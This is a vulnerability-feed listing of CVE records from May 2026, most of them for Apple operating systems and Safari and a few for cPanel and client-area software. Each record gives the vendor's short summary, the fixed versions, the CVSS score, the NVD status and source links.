The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use-after-free issue was addressed with improved memory management.
https://kevwire.com/record/CVE-2026-28946
A use-after-free issue was addressed with improved memory management. (May 11, 2026).
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, macOS Tahoe 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28946).
Sources:
NVD CVE-2026-28946: https://nvd.nist.gov/vuln/detail/CVE-2026-28946
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, macOS Tahoe 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use-after-free issue was addressed with improved memory management.
https://kevwire.com/record/CVE-2026-28947
A use-after-free issue was addressed with improved memory management. (May 11, 2026).
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28947).
Sources:
NVD CVE-2026-28947: https://nvd.nist.gov/vuln/detail/CVE-2026-28947
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authorization issue was addressed with improved state management.
https://kevwire.com/record/CVE-2026-28951
An authorization issue was addressed with improved state management. (May 11, 2026).
An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28951).
Sources:
NVD CVE-2026-28951: https://nvd.nist.gov/vuln/detail/CVE-2026-28951
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An integer overflow was addressed with improved input validation.
https://kevwire.com/record/CVE-2026-28952
An integer overflow was addressed with improved input validation. (May 11, 2026).
An integer overflow was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28952).
Sources:
NVD CVE-2026-28952: https://nvd.nist.gov/vuln/detail/CVE-2026-28952
Vendor advisory (via NVD references): https://support.apple.com/en-us/127111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An integer overflow was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28953
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28953).
Sources:
NVD CVE-2026-28953: https://nvd.nist.gov/vuln/detail/CVE-2026-28953
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A file quarantine bypass was addressed with additional checks.
https://kevwire.com/record/CVE-2026-28954
A file quarantine bypass was addressed with additional checks. (May 11, 2026).
A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A maliciously crafted disk image may bypass Gatekeeper checks.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28954).
Sources:
NVD CVE-2026-28954: https://nvd.nist.gov/vuln/detail/CVE-2026-28954
Vendor advisory (via NVD references): https://support.apple.com/en-us/127111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A maliciously crafted disk image may bypass Gatekeeper checks.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28955
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28955).
Sources:
NVD CVE-2026-28955: https://nvd.nist.gov/vuln/detail/CVE-2026-28955
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow was addressed with improved bounds checking.
https://kevwire.com/record/CVE-2026-28959
A buffer overflow was addressed with improved bounds checking. (May 11, 2026).
A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28959).
Sources:
NVD CVE-2026-28959: https://nvd.nist.gov/vuln/detail/CVE-2026-28959
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This issue was addressed with improved access restrictions.
https://kevwire.com/record/CVE-2026-28962
This issue was addressed with improved access restrictions. (May 11, 2026).
This issue was addressed with improved access restrictions. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may disclose sensitive user information.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28962).
Sources:
NVD CVE-2026-28962: https://nvd.nist.gov/vuln/detail/CVE-2026-28962
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
This issue was addressed with improved access restrictions. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may disclose sensitive user information.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An inconsistent user interface issue was addressed with improved state management.
https://kevwire.com/record/CVE-2026-28964
An inconsistent user interface issue was addressed with improved state management. (May 11, 2026).
An inconsistent user interface issue was addressed with improved state management. This issue is fixed in iOS 26.5 and iPadOS 26.5, visionOS 26.5. An app may be able to access sensitive user data.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28964).
Sources:
NVD CVE-2026-28964: https://nvd.nist.gov/vuln/detail/CVE-2026-28964
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An inconsistent user interface issue was addressed with improved state management. This issue is fixed in iOS 26.5 and iPadOS 26.5, visionOS 26.5. An app may be able to access sensitive user data.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A privacy issue was addressed with improved checks.
https://kevwire.com/record/CVE-2026-28965
A privacy issue was addressed with improved checks. (May 11, 2026).
A privacy issue was addressed with improved checks. This issue is fixed in iOS 26.5 and iPadOS 26.5. A user may be able to view restricted content from the lock screen.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28965).
Sources:
NVD CVE-2026-28965: https://nvd.nist.gov/vuln/detail/CVE-2026-28965
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A privacy issue was addressed with improved checks. This issue is fixed in iOS 26.5 and iPadOS 26.5. A user may be able to view restricted content from the lock screen.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use after free issue was addressed with improved memory management.
https://kevwire.com/record/CVE-2026-28969
A use after free issue was addressed with improved memory management. (May 11, 2026).
A use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.7, macOS Sequoia 15.8, macOS Sonoma 14.8.7, macOS Tahoe 26.5, macOS Tahoe 26.7, tvOS 26.5, tvOS 27, visionOS 26.5, visionOS 27, watchOS 26.5, watchOS 27. An app may be able to cause unexpected system termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28969).
Sources:
NVD CVE-2026-28969: https://nvd.nist.gov/vuln/detail/CVE-2026-28969
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.7, macOS Sequoia 15.8, macOS Sonoma 14.8.7, macOS Tahoe 26.5, macOS Tahoe 26.7, tvOS 26.5, tvOS 27, visionOS 26.5, visionOS 27, watchOS 26.5, watchOS 27. An app may be able to cause unexpected system termination.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This issue was addressed with improved checks to prevent unauthorized actions.
https://kevwire.com/record/CVE-2026-28974
This issue was addressed with improved checks to prevent unauthorized actions. (May 11, 2026).
This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28974).
Sources:
NVD CVE-2026-28974: https://nvd.nist.gov/vuln/detail/CVE-2026-28974
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An information leakage was addressed with additional validation.
https://kevwire.com/record/CVE-2026-28976
An information leakage was addressed with additional validation. (May 11, 2026).
An information leakage was addressed with additional validation. This issue is fixed in macOS Tahoe 26.5. An app may be able to gain root privileges.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28976).
Sources:
NVD CVE-2026-28976: https://nvd.nist.gov/vuln/detail/CVE-2026-28976
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An information leakage was addressed with additional validation. This issue is fixed in macOS Tahoe 26.5. An app may be able to gain root privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A permissions issue was addressed with additional restrictions.
https://kevwire.com/record/CVE-2026-28978
A permissions issue was addressed with additional restrictions. (May 11, 2026).
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A malicious app may be able to break out of its sandbox.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28978).
Sources:
NVD CVE-2026-28978: https://nvd.nist.gov/vuln/detail/CVE-2026-28978
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A malicious app may be able to break out of its sandbox.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A type confusion issue was addressed with improved checks.
https://kevwire.com/record/CVE-2026-28983
A type confusion issue was addressed with improved checks. (May 11, 2026).
A type confusion issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause a denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28983).
Sources:
NVD CVE-2026-28983: https://nvd.nist.gov/vuln/detail/CVE-2026-28983
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A type confusion issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause a denial of service.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A race condition was addressed with additional validation.
https://kevwire.com/record/CVE-2026-28986
A race condition was addressed with additional validation. (May 11, 2026).
A race condition was addressed with additional validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28986).
Sources:
NVD CVE-2026-28986: https://nvd.nist.gov/vuln/detail/CVE-2026-28986
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A race condition was addressed with additional validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A logging issue was addressed with improved data redaction.
https://kevwire.com/record/CVE-2026-28987
A logging issue was addressed with improved data redaction. (May 11, 2026).
A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to leak sensitive kernel state.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28987).
Sources:
NVD CVE-2026-28987: https://nvd.nist.gov/vuln/detail/CVE-2026-28987
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to leak sensitive kernel state.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-28990
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28990).
Sources:
NVD CVE-2026-28990: https://nvd.nist.gov/vuln/detail/CVE-2026-28990
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An out-of-bounds read was addressed with improved bounds checking.
https://kevwire.com/record/CVE-2026-28991
An out-of-bounds read was addressed with improved bounds checking. (May 11, 2026).
An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28991).
Sources:
NVD CVE-2026-28991: https://nvd.nist.gov/vuln/detail/CVE-2026-28991
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A logic issue was addressed with improved restrictions.
https://kevwire.com/record/CVE-2026-28995
A logic issue was addressed with improved restrictions. (May 11, 2026).
A logic issue was addressed with improved restrictions. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.4, macOS Sonoma 14.8.4, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A malicious app may be able to break out of its sandbox.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28995).
Sources:
NVD CVE-2026-28995: https://nvd.nist.gov/vuln/detail/CVE-2026-28995
Vendor advisory (via NVD references): https://support.apple.com/en-us/127110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A logic issue was addressed with improved restrictions. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.4, macOS Sonoma 14.8.4, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A malicious app may be able to break out of its sandbox.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories.
https://kevwire.com/record/CVE-2026-29203
A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. (May 8, 2026).
A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-29203).
Sources:
NVD CVE-2026-29203: https://nvd.nist.gov/vuln/detail/CVE-2026-29203
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation...
https://kevwire.com/record/CVE-2026-29204
Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation... (May 12, 2026).
Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation leading to unauthorized access to the victim's account.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-29204).
Sources:
NVD CVE-2026-29204: https://nvd.nist.gov/vuln/detail/CVE-2026-29204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation leading to unauthorized access to the victim's account.

